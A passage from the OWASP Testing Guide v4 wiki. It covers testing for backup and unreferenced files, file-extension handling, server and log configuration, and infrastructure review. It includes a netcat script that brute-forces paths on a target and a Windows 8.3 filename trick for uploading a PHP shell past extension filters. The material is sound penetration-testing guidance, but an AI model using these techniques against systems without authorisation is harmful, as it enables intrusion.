* Backup archives may contain copies of all files within (or even outside) the webroot. This allows an attacker to quickly enumerate the entire application, including unreferenced pages, source code, include files, etc. For example, if you forget a file named ''myservlets.jar.old'' file containing (a backup copy of) your servlet implementation classes, you are exposing a lot of sensitive information which is susceptible to decompilation and reverse engineering.
* In some cases copying or editing a file does not modify the file extension, but modifies the file name. This happens for example in Windows environments, where file copying operations generate file names prefixed with “Copy of “ or localized versions of this string. Since the file extension is left unchanged, this is not a case where an executable file is returned as plain text by the web server, and therefore not a case of source code disclosure. However, these files too are dangerous because there is a chance that they include obsolete and incorrect logic that, when invoked, could trigger application errors, which might yield valuable information to an attacker, if diagnostic message display is enabled.
* Log files may contain sensitive information about the activities of application users, for example sensitive data passed in URL parameters, session IDs, URLs visited (which may disclose additional unreferenced content), etc. Other log files (e.g. ftp logs) may contain sensitive information about the maintenance of the application by system administrators.
* File system snapshots may contain copies of the code that contain vulnerabilities that have been fixed in more recent versions. For example ''/.snapshot/monthly.1/view.php'' may contain a directory traversal vulnerability that has been fixed in ''/view.php'' but can still be exploited by anyone who finds the old version.

==Black Box Testing ==

Testing for unreferenced files uses both automated and manual techniques, and typically involves a combination of the following:

''(i) Inference from the naming scheme used for published content ''

Enumerate all of the application’s pages and functionality. This can be done manually using a browser, or using an application spidering tool. Most applications use a recognizable naming scheme, and organize resources into pages and directories using words that describe their function. From the naming scheme used for published content, it is often possible to infer the name and location of unreferenced pages. For example, if a page ''viewuser.asp'' is found, then look also for ''edituser.asp'', ''adduser.asp'' and ''deleteuser.asp''. If a directory ''/app/user'' is found, then look also for ''/app/admin'' and ''/app/manager''.

''(ii) Other clues in published content ''

Many web applications leave clues in published content that can lead to the discovery of hidden pages and functionality. These clues often appear in the source code of HTML and JavaScript files. The source code for all published content should be manually reviewed to identify clues about other pages and functionality. For example:

Programmers’ comments and commented-out sections of source code may refer to hidden content:

<pre>


</pre>

JavaScript may contain page links that are only rendered within the user’s GUI under certain circumstances:

<pre>
var adminUser=false;
:
if (adminUser) menu.add (new menuItem ("Maintain users", "/admin/useradmin.jsp"));
</pre>

HTML pages may contain FORMs that have been hidden by disabling the SUBMIT element:

<pre>
<FORM action="forgotPassword.jsp" method="post">
<INPUT type="hidden" name="userID" value="123">

</FORM>
</pre>

Another source of clues about unreferenced directories is the ''/robots.txt'' file used to provide instructions to web robots:

<pre>
User-agent: *
Disallow: /Admin
Disallow: /uploads
Disallow: /backup
Disallow: /~jbloggs
Disallow: /include
</pre>

''(iii) Blind guessing ''

In its simplest form, this involves running a list of common file names through a request engine in an attempt to guess files and directories that exist on the server. The following netcat wrapper script will read a wordlist from stdin and perform a basic guessing attack:

<pre>
#!/bin/bash

server=www.targetapp.com
port=80

while read url
do
echo -ne "$url\t"
echo -e "GET /$url HTTP/1.0\nHost: $server\n" | netcat $server $port | head -1
done | tee outputfile

</pre>

Depending upon the server, GET may be replaced with HEAD for faster results. The output file specified can be grepped for “interesting” response codes. The response code 200 (OK) usually indicates that a valid resource has been found (provided the server does not deliver a custom “not found” page using the 200 code). But also look out for 301 (Moved), 302 (Found), 401 (Unauthorized), 403 (Forbidden) and 500 (Internal error), which may also indicate resources or directories that are worthy of further investigation.

The basic guessing attack should be run against the webroot, and also against all directories that have been identified through other enumeration techniques. More advanced/effective guessing attacks can be performed as follows:

* Identify the file extensions in use within known areas of the application (e.g. jsp, aspx, html), and use a basic wordlist appended with each of these extensions (or use a longer list of common extensions if resources permit).
* For each file identified through other enumeration techniques, create a custom wordlist derived from that filename. Get a list of common file extensions (including ~, bak, txt, src, dev, old, inc, orig, copy, tmp, etc.) and use each extension before, after, and instead of, the extension of the actual file name.

Note: Windows file copying operations generate file names prefixed with “Copy of “ or localized versions of this string, hence they do not change file extensions. While “Copy of ” files typically do not disclose source code when accessed, they might yield valuable information in case they cause errors when invoked.

''(iv) Information obtained through server vulnerabilities and misconfiguration ''

The most obvious way in which a misconfigured server may disclose unreferenced pages is through directory listing. Request all enumerated directories to identify any which provide a directory listing.

Numerous vulnerabilities have been found in individual web servers which allow an attacker to enumerate unreferenced content, for example:

* Apache ?M=D directory listing vulnerability.
* Various IIS script source disclosure vulnerabilities.
* IIS WebDAV directory listing vulnerabilities.

''(v) Use of publicly available information ''

Pages and functionality in Internet-facing web applications that are not referenced from within the application itself may be referenced from other public domain sources. There are various sources of these references:
* Pages that used to be referenced may still appear in the archives of Internet search engines. For example, ''1998results.asp'' may no longer be linked from a company’s website, but may remain on the server and in search engine databases. This old script may contain vulnerabilities that could be used to compromise the entire site. The ''site:'' Google search operator may be used to run a query only against the domain of choice, such as in: ''site:www.example.com''. Using search engines in this way has lead to a broad array of techniques which you may find useful and that are described in the ''Google Hacking'' section of this Guide. Check it to hone your testing skills via Google. Backup files are not likely to be referenced by any other files and therefore may have not been indexed by Google, but if they lie in browsable directories the search engine might know about them.
* In addition, Google and Yahoo keep cached versions of pages found by their robots. Even if ''1998results.asp'' has been removed from the target server, a version of its output may still be stored by these search engines. The cached version may contain references to, or clues about, additional hidden content that still remains on the server.
* Content that is not referenced from within a target application may be linked to by third-party websites. For example, an application which processes online payments on behalf of third-party traders may contain a variety of bespoke functionality which can (normally) only be found by following links within the web sites of its customers.

''(vi) File name filter bypass ''

Because blacklist filters are based on regular expressions, one can sometimes take advantage of obscure OS file name expansion features in which work in ways the developer didn't expect. The tester can sometimes exploit differences in ways that file names are parsed by the application, web server, and underlying OS and it's file name conventions.

Example: Windows 8.3 filename expansion
"c:\program files" becomes "C:\PROGRA~1"
<pre>
– Remove incompatible characters
– Convert spaces to underscores
- Take the first six characters of the basename
– Add “~<digit>” which is used to distinguish files with names using the same six initial characters
- This convention changes after the first 3 cname ollisions
– Truncate file extension to three characters
- Make all the characters uppercase
</pre>

==Gray Box Testing==

Performing gray box testing against old and backup files requires examining the files contained in the directories belonging to the set of web directories served by the web server(s) of the web application infrastructure. Theoretically the examination should be performed by hand to be thorough. However, since in most cases copies of files or backup files tend to be created by using the same naming conventions, the search can be easily scripted. For example, editors leave behind backup copies by naming them with a recognizable extension or ending and humans tend to leave behind files with a “.old” or similar predictable extensions. A good strategy is that of periodically scheduling a background job checking for files with extensions likely to identify them as copy or backup files, and performing manual checks as well on a longer time basis.

==Tools==

* Vulnerability assessment tools tend to include checks to spot web directories having standard names (such as “admin”, “test”, “backup”, etc.), and to report any web directory which allows indexing. If you can’t get any directory listing, you should try to check for likely backup extensions. Check for example Nessus (http://www.nessus.org), Nikto2(http://www.cirt.net/code/nikto.shtml) or its new derivative Wikto (http://www.sensepost.com/research/wikto/), which also supports Google hacking based strategies.
* Web spider tools: wget (http://www.gnu.org/software/wget/, http://www.interlog.com/~tcharron/wgetwin.html); Sam Spade (http://www.samspade.org); Spike proxy includes a web site crawler function (http://www.immunitysec.com/spikeproxy.html); Xenu (http://home.snafu.de/tilman/xenulink.html); curl (http://curl.haxx.se). Some of them are also included in standard Linux distributions.
* Web development tools usually include facilities to identify broken links and unreferenced files.

==Remediation==
To guarantee an effective protection strategy, testing should be compounded by a security policy which clearly forbids dangerous practices, such as:

* Editing files in-place on the web server or application server file systems. This is a particular bad habit, since it is likely to unwillingly generate backup files by the editors. It is amazing to see how often this is done, even in large organizations. If you absolutely need to edit files on a production system, do ensure that you don’t leave behind anything which is not explicitly intended, and consider that you are doing it at your own risk.
* Check carefully any other activity performed on file systems exposed by the web server, such as spot administration activities. For example, if you occasionally need to take a snapshot of a couple of directories (which you should not do on a production system), you may be tempted to zip them first. Be careful not to forget behind those archive files.
* Appropriate configuration management policies should help not to leave around obsolete and unreferenced files.
* Applications should be designed not to create (or rely on) files stored under the web directory trees served by the web server. Data files, log files, configuration files, etc. should be stored in directories not accessible by the web server, to counter the possibility of information disclosure (not to mention data modification if web directory permissions allow writing).
* File system snapshots should not be accessible via the web if the document root is on a file system using this technology. Configure your web server to deny access to such directories, for example under apache a location directive such this should be used:
<pre>
<Location ~ ".snapshot">
Order deny,allow
Deny from all
</Location>
</pre>

Test File Extensions Handling for Sensitive Information (OTG-CONFIG-003)

2014-08-01T19:07:15Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==
File extensions are commonly used in web servers to easily determine which technologies, languages and plugins must be used to fulfill the web request. While this behavior is consistent with RFCs and Web Standards, using standard file extensions provides the penetration tester useful information about the underlying technologies used in a web appliance and greatly simplifies the task of determining the attack scenario to be used on particular technologies. In addition, mis-configuration of web servers could easily reveal confidential information about access credentials.

Extension checking is often used to validate files to be uploaded, which can lead to unexpected results because the content is not what is expected, or because of unexpected OS file name handling.

Determining how web servers handle requests corresponding to files having different extensions may help in understanding web server behavior depending on the kind of files that are accessed. For example, it can help to understand which file extensions are returned as text or plain versus those that cause execution on the server side. The latter are indicative of technologies, languages or plugins that are used by web servers or application servers, and may provide additional insight on how the web application is engineered. For example, a “.pl” extension is usually associated with server-side Perl support. However, the file extension alone may be deceptive and not fully conclusive. For example, Perl server-side resources might be renamed to conceal the fact that they are indeed Perl related. See the next section on “web server components” for more on identifying server side technologies and components.

==How to Test==
==Black Box testing and example - forced browsing==

Submit http[s] requests involving different file extensions and verify how they are handled. The verification should be on a per web directory basis. Verify directories that allow script execution. Web server directories can be identified by vulnerability scanners, which look for the presence of well-known directories. In addition, mirroring the web site structure allows the tester to reconstruct the tree of web directories served by the application.

If the web application architecture is load-balanced, it is important to assess all of the web servers. This may or may not be easy, depending on the configuration of the balancing infrastructure. In an infrastructure with redundant components there may be slight variations in the configuration of individual web or application servers. This may happen if the web architecture employs heterogeneous technologies (think of a set of IIS and Apache web servers in a load-balancing configuration, which may introduce slight asymmetric behavior between them, and possibly different vulnerabilities).

'''Example:''

The tester has identified the existence of a file named connection.inc. Trying to access it directly gives back its contents, which are:

<pre>
<?
mysql_connect("127.0.0.1", "root", "")
or die("Could not connect");

?>
</pre>

The tester determines the existence of a MySQL DBMS back end, and the (weak) credentials used by the web application to access it.

The following file extensions should never be returned by a web server, since they are related to files which may contain sensitive information or to files for which there is no reason to be served.

* .asa
* .inc

The following file extensions are related to files which, when accessed, are either displayed or downloaded by the browser. Therefore, files with these extensions must be checked to verify that they are indeed supposed to be served (and are not leftovers), and that they do not contain sensitive information.

* .zip, .tar, .gz, .tgz, .rar, ...: (Compressed) archive files
* .java: No reason to provide access to Java source files
* .txt: Text files
* .pdf: PDF documents
* .doc, .rtf, .xls, .ppt, ...: Office documents
* .bak, .old and other extensions indicative of backup files (for example: ~ for Emacs backup files)

The list given above details only a few examples, since file extensions are too many to be comprehensively treated here. Refer to http://filext.com/ for a more thorough database of extensions.

To identify files having a given extensions a mix of techniques can be employed. THese techniques can include Vulnerability Scanners, spidering and mirroring tools, manually inspecting the application (this overcomes limitations in automatic spidering), querying search engines (see [[Testing: Spidering and googling]]). See also [[Testing for Old, Backup and Unreferenced Files (OWASP-CM-006)|Testing for Old, Backup and Unreferenced Files]] which deals with the security issues related to "forgotten" files.

==Black Box testing and example - File Upload==

Windows 8.3 legacy file handling can sometimes be used to defeat file upload filters

<pre>
Usage Examples:

file.phtml gets processed as PHP code

FILE~1.PHT is served, but not processed by the PHP ISAPI handler

shell.phPWND can be uploaded

SHELL~1.PHP will be expanded and returned by the OS shell, then processed by the PHP ISAPI handler
</pre>

==Gray Box testing and example==

Performing white box testing against file extensions handling amounts to checking the configurations of web servers or application servers taking part in the web application architecture, and verifying how they are instructed to serve different file extensions.

If the web application relies on a load-balanced, heterogeneous infrastructure, determine whether this may introduce different behavior.

==Tools==

Vulnerability scanners, such as Nessus and Nikto check for the existence of well-known web directories. They may allow the tester to download the web site structure, which is helpful when trying to determine the configuration of web directories and how individual file extensions are served. Other tools that can be used for this purpose include:
* wget - http://www.gnu.org/software/wget
* curl - http://curl.haxx.se
* google for “web mirroring tools”.

Test Application Platform Configuration (OTG-CONFIG-002)

2014-08-01T19:04:54Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==
Proper configuration of the single elements that make up an application architecture is important in order to prevent mistakes that might compromise the security of the whole architecture.

Configuration review and testing is a critical task in creating and maintaining an architecture. This is because many different systems will be usually provided with generic configurations that might not be suited to the task they will perform on the specific site they're installed on.

While the typical web and application server installation will contain a lot of functionality (like application examples, documentation, test pages) what is not essential should be removed before deployment to avoid post-install exploitation.

==How to Test ==
==Black Box Testing ==

===Sample and known files and directories===
Many web servers and application servers provide, in a default installation, sample applications and files that are provided for the benefit of the developer and in order to test that the server is working properly right after installation. However, many default web server applications have been later known to be vulnerable. This was the case, for example, for CVE-1999-0449 (Denial of Service in IIS when the Exair sample site had been installed), CAN-2002-1744 (Directory traversal vulnerability in CodeBrws.asp in Microsoft IIS 5.0), CAN-2002-1630 (Use of sendmail.jsp in Oracle 9iAS), or CAN-2003-1172 (Directory traversal in the view-source sample in Apache’s Cocoon).

CGI scanners include a detailed list of known files and directory samples that are provided by different web or application servers and might be a fast way to determine if these files are present. However, the only way to be really sure is to do a full review of the contents of the web server or application server and determine of whether they are related to the application itself or not.

===Comment review===
It is very common, and even recommended, for programmers to include detailed comments on their source code in order to allow for other programmers to better understand why a given decision was taken in coding a given function. Programmers usually add comments when developing large web-based applications. However, comments included inline in HTML code might reveal internal information that should not be available to an attacker. Sometimes, even source code is commented out since a functionality is no longer required, but this comment is leaked out to the HTML pages returned to the users unintentionally.

Comment review should be done in order to determine if any information is being leaked through comments. This review can only be thoroughly done through an analysis of the web server static and dynamic content and through file searches. It can be useful to browse the site either in an automatic or guided fashion and store all the content retrieved. This retrieved content can then be searched in order to analyse any HTML comments available in the code.

==Gray Box Testing ==

===Configuration review===

The web server or application server configuration takes an important role in protecting the contents of the site and it must be carefully reviewed in order to spot common configuration mistakes. Obviously, the recommended configuration varies depending on the site policy, and the functionality that should be provided by the server software. In most cases, however, configuration guidelines (either provided by the software vendor or external parties) should be followed to determine if the server has been properly secured.

It is impossible to generically say how a server should be configured, however, some common guidelines should be taken into account:

* Only enable server modules (ISAPI extensions in the case of IIS) that are needed for the application. This reduces the attack surface since the server is reduced in size and complexity as software modules are disabled. It also prevents vulnerabilities that might appear in the vendor software from affecting the site if they are only present in modules that have been already disabled.
* Handle server errors (40x or 50x) with custom-made pages instead of with the default web server pages. Specifically make sure that any application errors will not be returned to the end-user and that no code is leaked through these errors since it will help an attacker. It is actually very common to forget this point since developers do need this information in pre-production environments.
* Make sure that the server software runs with minimized privileges in the operating system. This prevents an error in the server software from directly compromising the whole system, although an attacker could elevate privileges once running code as the web server.
* Make sure the server software properly logs both legitimate access and errors.
* Make sure that the server is configured to properly handle overloads and prevent Denial of Service attacks. Ensure that the server has been performance-tuned properly.
* Never grant non-administrative identities (with the exception of NT SERVICE\WMSvc) access to applicationHost.config, redirection.config, and administration.config (either Read or Write access). This includes Network Service, IIS_IUSRS, IUSR, or any custom identity used by IIS application pools. IIS worker processes are not meant to access any of these files directly.
* Never share out applicationHost.config, redirection.config, and administration.config on the network. When using Shared Configuration, prefer to export applicationHost.config to another location (see the section titled "Setting Permissions for Shared Configuration).
*Keep in mind that all users can read .NET Framework machine.config and root web.config files by default. Do not store sensitive information in these files if it should be for administrator eyes only.
* Encrypt sensitive information that should be read by the IIS worker processes only and not by other users on the machine.
* Do not grant Write access to the identity that the Web server uses to access the shared applicationHost.config. This identity should have only Read access.
* Use a separate identity to publish applicationHost.config to the share. Do not use this identity for configuring access to the shared configuration on the Web servers.
* Use a strong password when exporting the encryption keys for use with shared -configuration.
* Maintain restricted access to the share containing the shared configuration and encryption keys. If this share is compromised, an attacker will be able to read and write any IIS configuration for your Web servers, redirect traffic from your Web site to malicious sources, and in some cases gain control of all web servers by loading arbitrary code into IIS worker processes.
* Consider protecting this share with firewall rules and IPsec policies to allow only the member web servers to connect.

===Logging===

Logging is an important asset of the security of an application architecture, since it can be used to detect flaws in applications (users constantly trying to retrieve a file that does not really exist) as well as sustained attacks from rogue users. Logs are typically properly generated by web and other server software. It is not common to find applications that properly log their actions to a log and, when they do, the main intention of the application logs is to produce debugging output that could be used by the programmer to analyze a particular error.

In both cases (server and application logs) several issues should be tested and analysed based on the log contents:

# Do the logs contain sensitive information?
# Are the logs stored in a dedicated server?
# Can log usage generate a Denial of Service condition?
# How are they rotated? Are logs kept for the sufficient time?
# How are logs reviewed? Can administrators use these reviews to detect targeted attacks?
# How are log backups preserved?
# Is the data being logged data validated (min/max length, chars etc) prior to being logged?

'''''Sensitive information in logs'''''

Some applications might, for example, use GET requests to forward form data which will be seen in the server logs. This means that server logs might contain sensitive information (such as usernames as passwords, or bank account details). This sensitive information can be misused by an attacker if they obtained the logs, for example, through administrative interfaces or known web server vulnerabilities or misconfiguration (like the well-known ''server-status ''misconfiguration in Apache-based HTTP servers ).

Event logs will often contain data that is useful to an attacker (information leakage) or can be used directly in exploits:

* Debug information
* Stack traces
* Usernames
* System component names
* Internal IP addresses
* Less sensitive personal data (e.g. email addresses, postal addresses and telephone numbers associated with named individuals)
* Business data

Also, in some jurisdictions, storing some sensitive information in log files, such as personal data, might oblige the enterprise to apply the data protection laws that they would apply to their back-end databases to log files too. And failure to do so, even unknowingly, might carry penalties under the data protection laws that apply.

A wider list of sensitive information is:

* Application source code
* Session identification values
* Access tokens
* Sensitive personal data and some forms of personally identifiable information (PII)
* Authentication passwords
* Database connection strings
* Encryption keys
* Bank account or payment card holder data
* Data of a higher security classification than the logging system is allowed to store
* Commercially-sensitive information
* Information it is illegal to collect in the relevant jurisdiction
* Information a user has opted out of collection, or not consented to e.g. use of do not track, or where consent to collect has expired

===Log location===

Typically servers will generate local logs of their actions and errors, consuming the disk of the system the server is running on. However, if the server is compromised its logs can be wiped out by the intruder to clean up all the traces of its attack and methods. If this were to happen the system administrator would have no knowledge of how the attack occurred or where the attack source was located. Actually, most attacker tool kits include a ''log zapper '' that is capable of cleaning up any logs that hold given information (like the IP address of the attacker) and are routinely used in attacker’s system-level root kits.

Consequently, it is wiser to keep logs in a separate location and not in the web server itself. This also makes it easier to aggregate logs from different sources that refer to the same application (such as those of a web server farm) and it also makes
it easier to do log analysis (which can be CPU intensive) without affecting the server itself.

===Log storage===

Logs can introduce a Denial of Service condition if they are not properly stored. Any attacker with sufficient resources could be able to produce a sufficient number of requests that would fill up the allocated space to log files, if they are not specifically prevented from doing so. However, if the server is not properly configured, the log files will be stored in the same disk partition as the one used for the operating system software or the application itself. This means that if the disk were to be filled up the operating system or the application might fail because it is unable to write on disk.

Typically in UNIX systems logs will be located in /var (although some server installations might reside in /opt or /usr/local) and it is important to make sure that the directories in which logs are stored are in a separate partition. In some cases, and in order to prevent the system logs from being affected, the log directory of the server software itself (such as /var/log/apache in the Apache web server) should be stored in a dedicated partition.

This is not to say that logs should be allowed to grow to fill up the file system they reside in. Growth of server logs should be monitored in order to detect this condition since it may be indicative of an attack.

Testing this condition is as easy, and as dangerous in production environments, as firing off a sufficient and sustained number of requests to see if these requests are logged and if there is a possibility to fill up the log partition through these requests. In some environments where QUERY_STRING parameters are also logged regardless of whether they are produced through GET or POST requests, big queries can be simulated that will fill up the logs faster since, typically, a single request will cause only a small amount of data to be logged, such as date and time, source IP address, URI request, and server result.

===Log rotation===

Most servers (but few custom applications) will rotate logs in order to prevent them from filling up the file system they reside on. The assumption when rotating logs is that the information in them is only necessary for a limited amount of time.

This feature should be tested in order to ensure that:

* Logs are kept for the time defined in the security policy, not more and not less.
* Logs are compressed once rotated (this is a convenience, since it will mean that more logs will be stored for the same available disk space).
* File system permission of rotated log files are the same (or stricter) that those of the log files itself. For example, web servers will need to write to the logs they use but they don’t actually need to write to rotated logs, which means that the permissions of the files can be changed upon rotation to prevent the web server process from modifying these.

Some servers might rotate logs when they reach a given size. If this happens, it must be ensured that an attacker cannot force logs to rotate in order to hide his tracks.

===Log Access Control===

Event log information should never be visible to end users. Even web administrators should not be able to see such logs since it breaks separation of duty controls. Ensure that any access control schema that is used to protect access to raw logs and any applications providing capabilities to view or search the logs is not linked with access control schemas for other application user roles. Neither should any log data be viewable by unauthenticated users.

===Log review===

Review of logs can be used for more than extraction of usage statistics of files in the web servers (which is typically what most log-based application will focus on), but also to determine if attacks take place at the web server.

In order to analyze web server attacks the error log files of the server need to be analyzed. Review should concentrate on:

* 40x (not found) error messages. A large amount of these from the same source might be indicative of a CGI scanner tool being used against the web server
* 50x (server error) messages. These can be an indication of an attacker abusing parts of the application which fail unexpectedly. For example, the first phases of a SQL injection attack will produce these error message when the SQL query is not properly constructed and its execution fails on the back end database.

Log statistics or analysis should not be generated, nor stored, in the same server that produces the logs. Otherwise, an attacker might, through a web server vulnerability or improper configuration, gain access to them and retrieve similar information as would be disclosed by log files themselves.

==References==

* Apache
** Apache Security, by Ivan Ristic, O’reilly, March 2005.
** Apache Security Secrets: Revealed (Again), Mark Cox, November 2003 - http://www.awe.com/mark/apcon2003/
** Apache Security Secrets: Revealed, ApacheCon 2002, Las Vegas, Mark J Cox, October 2002 - http://www.awe.com/mark/apcon2002
** Performance Tuning - http://httpd.apache.org/docs/misc/perf-tuning.html
* Lotus Domino
** Lotus Security Handbook, William Tworek et al., April 2004, available in the IBM Redbooks collection
** Lotus Domino Security, an X-force white-paper, Internet Security Systems, December 2002
** Hackproofing Lotus Domino Web Server, David Litchfield, October 2001,
** NGSSoftware Insight Security Research, available at http://www.nextgenss.com
* Microsoft IIS
** IIS 6.0 Security, by Rohyt Belani, Michael Muckin, - http://www.securityfocus.com/print/infocus/1765
** IIS 7.0 Securing Configuration -http://technet.microsoft.com/en-us/library/dd163536.aspx
** Securing Your Web Server (Patterns and Practices), Microsoft Corporation, January 2004
** IIS Security and Programming Countermeasures, by Jason Coombs
** From Blueprint to Fortress: A Guide to Securing IIS 5.0, by John Davis, Microsoft Corporation, June 2001
** Secure Internet Information Services 5 Checklist, by Michael Howard, Microsoft Corporation, June 2000
** “INFO: Using URLScan on IIS” - http://support.microsoft.com/default.aspx?scid=307608
* Red Hat’s (formerly Netscape’s) iPlanet
** Guide to the Secure Configuration and Administration of iPlanet Web Server, Enterprise Edition 4.1, by James M Hayes, The Network Applications Team of the Systems and Network Attack Center (SNAC), NSA, January 2001
* WebSphere
** IBM WebSphere V5.0 Security, WebSphere Handbook Series, by Peter Kovari et al., IBM, December 2002.
** IBM WebSphere V4.0 Advanced Edition Security, by Peter Kovari et al., IBM, March 2002.
* General
** [[Logging Cheat Sheet]], OWASP
** [http://csrc.nist.gov/publications/nistpubs/800-92/SP800-92.pdf SP 800-92] Guide to Computer Security Log Management, NIST
** [https://www.pcisecuritystandards.org/security_standards/documents.php PCI DSS v2.0] Requirement 10 and PA-DSS v2.0 Requirement 4, PCI Security Standards Council

* Generic:
** CERT Security Improvement Modules: Securing Public Web Servers - http://www.cert.org/security-improvement/

** Apache Security Configuration Document, InterSect Alliance - http://www.intersectalliance.com/projects/ApacheConfig/index.html

** “How To: Use IISLockdown.exe” - http://msdn.microsoft.com/library/en-us/secmod/html/secmod113.asp

Test Network/Infrastructure Configuration (OTG-CONFIG-001)

2014-08-01T19:01:20Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==
The intrinsic complexity of interconnected and heterogeneous web server infrastructure, which can include hundreds of web applications, makes configuration management and review a fundamental step in testing and deploying every single application.
It takes only a single vulnerability to undermine the security of the entire infrastructure, and even small and seemingly unimportant problems may evolve into severe risks for another application on the same server. In order to address these problems, it is of utmost importance to perform an in-depth review of configuration and known security issues, after having mapped the entire architecture.

Proper configuration management of the web server infrastructure is very important in order to preserve the security of the application itself. If elements such as the web server software, the back-end database servers, or the authentication servers are not properly reviewed and secured, they might introduce undesired risks or introduce new vulnerabilities that might compromise the application itself.

For example, a web server vulnerability that would allow a remote attacker to disclose the source code of the application itself (a vulnerability that has arisen a number of times in both web servers or application servers) could compromise the application, as anonymous users could use the information disclosed in the source code to leverage attacks against the application or its users.

The following steps need to be taken to test the configuration management infrastructure:

* The different elements that make up the infrastructure need to be determined in order to understand how they interact with a web application and how they affect its security.
* All the elements of the infrastructure need to be reviewed in order to make sure that they don’t contain any known vulnerabilities.
* A review needs to be made of the administrative tools used to maintain all the different elements.
* The authentication systems, need to reviewed in order to assure that they serve the needs of the application and that they cannot be manipulated by external users to leverage access.
* A list of defined ports which are required for the application should be maintained and kept under change control.

After having mapped the different elements that make up the infrastructure (see [[Map_Network_and_Application_Architecture_(OTG-INFO-012)|Map Network and Application Architecture]]) it is possible to review the configuration of each element founded and test for any known vulnerabilities.

== How to Test==

===Known Server Vulnerabilities===
Vulnerabilities found in the different areas of the application architecture, be it in the web server or in the back end database, can severely compromise the application itself. For example, consider a server vulnerability that allows a remote, unauthenticated user to upload files to the web server or even to replace files. This vulnerability could compromise the application, since a rogue user may be able to replace the application itself or introduce code that would affect the back end servers, as its application code would be run just like any other application.

Reviewing server vulnerabilities can be hard to do if the test needs to be done through a blind penetration test. In these cases, vulnerabilities need to be tested from a remote site, typically using an automated tool. However, testing for some vulnerabilities can have unpredictable results on the web server, and testing for others (like those directly involved in denial of service attacks) might not be possible due to the service downtime involved if the test was successful.

Some automated tools will flag vulnerabilities based on the web server version retrieved. This leads to both false positives and false negatives. On one hand, if the web server version has been removed or obscured by the local site administrator the scan tool will not flag the server as vulnerable even if it is. On the other hand, if the vendor providing the software does not update the web server version when vulnerabilities are fixed, the scan tool will flag vulnerabilities that do not exist. The latter case is actually very common as some operating system vendors back port patches of security vulnerabilities to the software they provide in the operating system, but do not do a full upload to the latest software version. This happens in most GNU/Linux distributions such as Debian, Red Hat or SuSE. In most cases, vulnerability scanning of an application architecture will only find vulnerabilities associated with the “exposed” elements of the architecture (such as the web server) and will usually be unable to find vulnerabilities associated to elements which are not directly exposed, such as the authentication back ends, the back end database, or reverse proxies in use.

Finally, not all software vendors disclose vulnerabilities in a public way, and therefore these weaknesses do not become registered within publicly known vulnerability databases[2]. This information is only disclosed to customers or published through fixes that do not have accompanying advisories. This reduces the usefulness of vulnerability scanning tools. Typically, vulnerability coverage of these tools will be very good for common products (such as the Apache web server, Microsoft’s Internet Information Server, or IBM’s Lotus Domino) but will be lacking for lesser known products.

This is why reviewing vulnerabilities is best done when the tester is provided with internal information of the software used, including versions and releases used and patches applied to the software. With this information, the tester can retrieve the information from the vendor itself and analyze what vulnerabilities might be present in the architecture and how they can affect the application itself. When possible, these vulnerabilities can be tested to determine their real effects and to detect if there might be any external elements (such as intrusion detection or prevention systems) that might reduce or negate the possibility of successful exploitation. Testers might even determine, through a configuration review, that the vulnerability is not even present, since it affects a software component that is not in use.

It is also worthwhile to note that vendors will sometimes silently fix vulnerabilities and make the fixes available with new software releases. Different vendors will have different release cycles that determine the support they might provide for older releases. A tester with detailed information of the software versions used by the architecture can analyse the risk associated to the use of old software releases that might be unsupported in the short term or are already unsupported. This is critical, since if a vulnerability were to surface in an old software version that is no longer supported, the systems personnel might not be directly aware of it. No patches will be ever made available for it and advisories might not list that version as vulnerable as it is no longer supported. Even in the event that they are aware that the vulnerability is present and the system is vulnerable, they will need to do a full upgrade to a new software release, which might introduce significant downtime in the application architecture or might force the application to be re-coded due to incompatibilities with the latest software version.

===Administrative tools===

Any web server infrastructure requires the existence of administrative tools to maintain and update the information used by the application. This information includes static content (web pages, graphic files), application source code, user authentication databases, etc. Administrative tools will differ depending on the site, technology, or software used. For example, some web servers will be managed using administrative interfaces which are, themselves, web servers (such as the iPlanet web server) or will be administrated by plain text configuration files (in the Apache case[3]) or use operating-system GUI tools (when using Microsoft’s IIS server or ASP.Net). I

n most cases the server configuration will be handled using different file maintenance tools used by the web server, which are managed through FTP servers, WebDAV, network file systems (NFS, CIFS) or other mechanisms. Obviously, the operating system of the elements that make up the application architecture will also be managed using other tools. Applications may also have administrative interfaces embedded in them that are used to manage the application data itself (users, content, etc.).

After having mapped the administrative interfaces used to manage the different parts of the architecture it is important to review them since if an attacker gains access to any of them he can then compromise or damage the application architecture. To do this it is important to:

* Determine the mechanisms that control access to these interfaces and their associated susceptibilities. This information may be available online.
* Change the default username and password.

Some companies choose not to manage all aspects of their web server applications, but may have other parties managing the content delivered by the web application. This external company might either provide only parts of the content (news updates or promotions) or might manage the web server completely (including content and code). It is common to find administrative interfaces available from the Internet in these situations, since using the Internet is cheaper than providing a dedicated line that will connect the external company to the application infrastructure through a management-only interface. In this situation, it is very important to test if the administrative interfaces can be vulnerable to attacks.

==References==
* [1] WebSEAL, also known as Tivoli Authentication Manager, is a reverse proxy from IBM which is part of the Tivoli framework.
* [2] Such as Symantec’s Bugtraq, ISS’ X-Force, or NIST’s National Vulnerability Database (NVD).
* [3] There are some GUI-based administration tools for Apache (like NetLoony) but they are not in widespread use yet.

Map Application Architecture (OTG-INFO-010)

2014-08-01T18:59:42Z

Jane O'Connor: Added Andrew's changes.

{{Template:OWASP Testing Guide v4}}

== Summary ==
The complexity of interconnected and heterogeneous web server infrastructure can include hundreds of web applications and makes configuration management and review a fundamental step in testing and deploying every single application. In fact it takes only a single vulnerability to undermine the security of the entire infrastructure, and even small and seemingly unimportant problems may evolve into severe risks for another application on the same server.

To address these problems, it is of utmost importance to perform an in-depth review of configuration and known security issues. Before performing an in-depth review it is necessary to map the network and application architecture. The different elements that make up the infrastructure need to be determined to understand how they interact with a web application and how they affect security.

== How to Test ==

===Map the application architecture===

The application architecture needs to be mapped through some test to determine what different components are used to build the web application. In small setups, such as a simple CGI-based application, a single server might be used that runs the web server which executes the C, Perl, or Shell CGIs application, and perhaps also the authentication mechanism.

